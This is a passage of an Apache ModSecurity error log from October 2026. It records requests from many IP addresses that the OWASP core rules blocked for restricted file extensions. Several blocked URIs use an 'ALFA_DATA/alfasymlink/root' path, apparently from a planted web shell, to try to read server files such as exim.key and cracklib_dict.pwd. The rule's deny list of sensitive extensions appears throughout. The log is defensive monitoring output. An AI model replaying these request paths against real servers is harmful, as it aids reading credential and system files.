[Tue Oct 27 11:38:11.478248 2026] [security2:error] [pid 3258786:tid 3258786] [client 64.204.46.192:49578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFYzNkXcBGODVjODvNTQAAAAw"]
[Tue Oct 27 11:38:12.317381 2026] [security2:error] [pid 3258829:tid 3258829] [client 144.168.8.222:38018] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpupdate.conf"] [unique_id "auDFZJlvw96hzBbUvrx3sQAAAEY"]
[Tue Oct 27 11:38:12.317651 2026] [security2:error] [pid 3258829:tid 3258829] [client 144.168.8.222:38018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpupdate.conf"] [unique_id "auDFZJlvw96hzBbUvrx3sQAAAEY"]
[Tue Oct 27 11:38:12.318383 2026] [security2:error] [pid 3258829:tid 3258829] [client 144.168.8.222:38018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFZJlvw96hzBbUvrx3sQAAAEY"]
[Tue Oct 27 11:38:13.529172 2026] [security2:error] [pid 3258840:tid 3258840] [client 173.244.40.57:55414] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/zacsonzf.sql"] [unique_id "auDFZU2zuRwVCHS9I4mTUAAAAFE"]
[Tue Oct 27 11:38:13.529417 2026] [security2:error] [pid 3258840:tid 3258840] [client 173.244.40.57:55414] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/zacsonzf.sql"] [unique_id "auDFZU2zuRwVCHS9I4mTUAAAAFE"]
[Tue Oct 27 11:38:13.530132 2026] [security2:error] [pid 3258840:tid 3258840] [client 173.244.40.57:55414] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFZU2zuRwVCHS9I4mTUAAAAFE"]
[Tue Oct 27 11:38:13.564824 2026] [security2:error] [pid 3258826:tid 3258826] [client 91.124.3.175:33652] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.key"] [unique_id "auDFZcbxxHYfJFV-6XkVowAAAEM"]
[Tue Oct 27 11:38:13.565058 2026] [security2:error] [pid 3258826:tid 3258826] [client 91.124.3.175:33652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.key"] [unique_id "auDFZcbxxHYfJFV-6XkVowAAAEM"]
[Tue Oct 27 11:38:13.565719 2026] [security2:error] [pid 3258826:tid 3258826] [client 91.124.3.175:33652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFZcbxxHYfJFV-6XkVowAAAEM"]
[Tue Oct 27 11:38:18.220808 2026] [security2:error] [pid 3258828:tid 3258828] [client 37.153.152.22:53506] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/kdump.conf"] [unique_id "auDFatiWJdPMg0Q5CZR6vwAAAEU"]
[Tue Oct 27 11:38:18.221074 2026] [security2:error] [pid 3258828:tid 3258828] [client 37.153.152.22:53506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/kdump.conf"] [unique_id "auDFatiWJdPMg0Q5CZR6vwAAAEU"]
[Tue Oct 27 11:38:18.221873 2026] [security2:error] [pid 3258828:tid 3258828] [client 37.153.152.22:53506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFatiWJdPMg0Q5CZR6vwAAAEU"]
[Tue Oct 27 11:38:18.826863 2026] [security2:error] [pid 3258847:tid 3258847] [client 64.204.45.0:44374] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/chrony.conf"] [unique_id "auDFavc9Zuzu4blb_8zA9wAAAFg"]
[Tue Oct 27 11:38:18.827141 2026] [security2:error] [pid 3258847:tid 3258847] [client 64.204.45.0:44374] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/chrony.conf"] [unique_id "auDFavc9Zuzu4blb_8zA9wAAAFg"]
[Tue Oct 27 11:38:18.827771 2026] [security2:error] [pid 3258847:tid 3258847] [client 64.204.45.0:44374] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFavc9Zuzu4blb_8zA9wAAAFg"]
[Tue Oct 27 11:38:18.847334 2026] [security2:error] [pid 3252638:tid 3252638] [client 109.72.123.153:46556] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/lib64/cracklib_dict.pwd"] [unique_id "auDFagpeqqGhHNggL2EYyQAAABc"]
[Tue Oct 27 11:38:18.847574 2026] [security2:error] [pid 3252638:tid 3252638] [client 109.72.123.153:46556] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/lib64/cracklib_dict.pwd"] [unique_id "auDFagpeqqGhHNggL2EYyQAAABc"]
[Tue Oct 27 11:38:18.848240 2026] [security2:error] [pid 3252638:tid 3252638] [client 109.72.123.153:46556] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFagpeqqGhHNggL2EYyQAAABc"]
[Tue Oct 27 11:38:18.892397 2026] [security2:error] [pid 3258828:tid 3258828] [client 37.153.152.22:53506] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/libuser.conf"] [unique_id "auDFatiWJdPMg0Q5CZR6wAAAAEU"]
[Tue Oct 27 11:38:18.892621 2026] [security2:error] [pid 3258828:tid 3258828] [client 37.153.152.22:53506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/libuser.conf"] [unique_id "auDFatiWJdPMg0Q5CZR6wAAAAEU"]
[Tue Oct 27 11:38:18.893250 2026] [security2:error] [pid 3258828:tid 3258828] [client 37.153.152.22:53506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFatiWJdPMg0Q5CZR6wAAAAEU"]
[Tue Oct 27 11:38:26.165618 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 34.192.67.98:43393] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:38:41.257931 2026] [security2:error] [pid 3257907:tid 3257907] [client 149.18.46.30:51516] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfs.conf"] [unique_id "auDFgdmgjCRRylsqPBT2MwAAACo"]
[Tue Oct 27 11:38:41.258192 2026] [security2:error] [pid 3257907:tid 3257907] [client 149.18.46.30:51516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfs.conf"] [unique_id "auDFgdmgjCRRylsqPBT2MwAAACo"]
[Tue Oct 27 11:38:41.259021 2026] [security2:error] [pid 3257907:tid 3257907] [client 149.18.46.30:51516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFgdmgjCRRylsqPBT2MwAAACo"]
[Tue Oct 27 11:38:46.359857 2026] [ssl:error] [pid 3258793:tid 3258793] (70014)End of file found: [client 23.23.99.55:23041] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:38:50.616709 2026] [security2:error] [pid 3258789:tid 3258789] [client 98.159.237.205:48326] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/stats.conf"] [unique_id "auDFinVf4r4CZeQot_KKYAAAABg"]
[Tue Oct 27 11:38:50.616974 2026] [security2:error] [pid 3258789:tid 3258789] [client 98.159.237.205:48326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/stats.conf"] [unique_id "auDFinVf4r4CZeQot_KKYAAAABg"]
[Tue Oct 27 11:38:50.617640 2026] [security2:error] [pid 3258789:tid 3258789] [client 98.159.237.205:48326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFinVf4r4CZeQot_KKYAAAABg"]
[Tue Oct 27 11:38:52.192228 2026] [ssl:error] [pid 3258927:tid 3258927] (70014)End of file found: [client 44.213.36.21:18721] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:38:55.102308 2026] [security2:error] [pid 3258899:tid 3258899] [client 204.242.176.4:43074] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/install_packages.log"] [unique_id "auDFj_kE2pn1qK5LHPreUQAAACE"]
[Tue Oct 27 11:38:55.102662 2026] [security2:error] [pid 3258899:tid 3258899] [client 204.242.176.4:43074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/install_packages.log"] [unique_id "auDFj_kE2pn1qK5LHPreUQAAACE"]
[Tue Oct 27 11:38:55.103376 2026] [security2:error] [pid 3258899:tid 3258899] [client 204.242.176.4:43074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFj_kE2pn1qK5LHPreUQAAACE"]
[Tue Oct 27 11:39:03.040704 2026] [security2:error] [pid 3258840:tid 3258840] [client 95.134.137.25:38162] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] 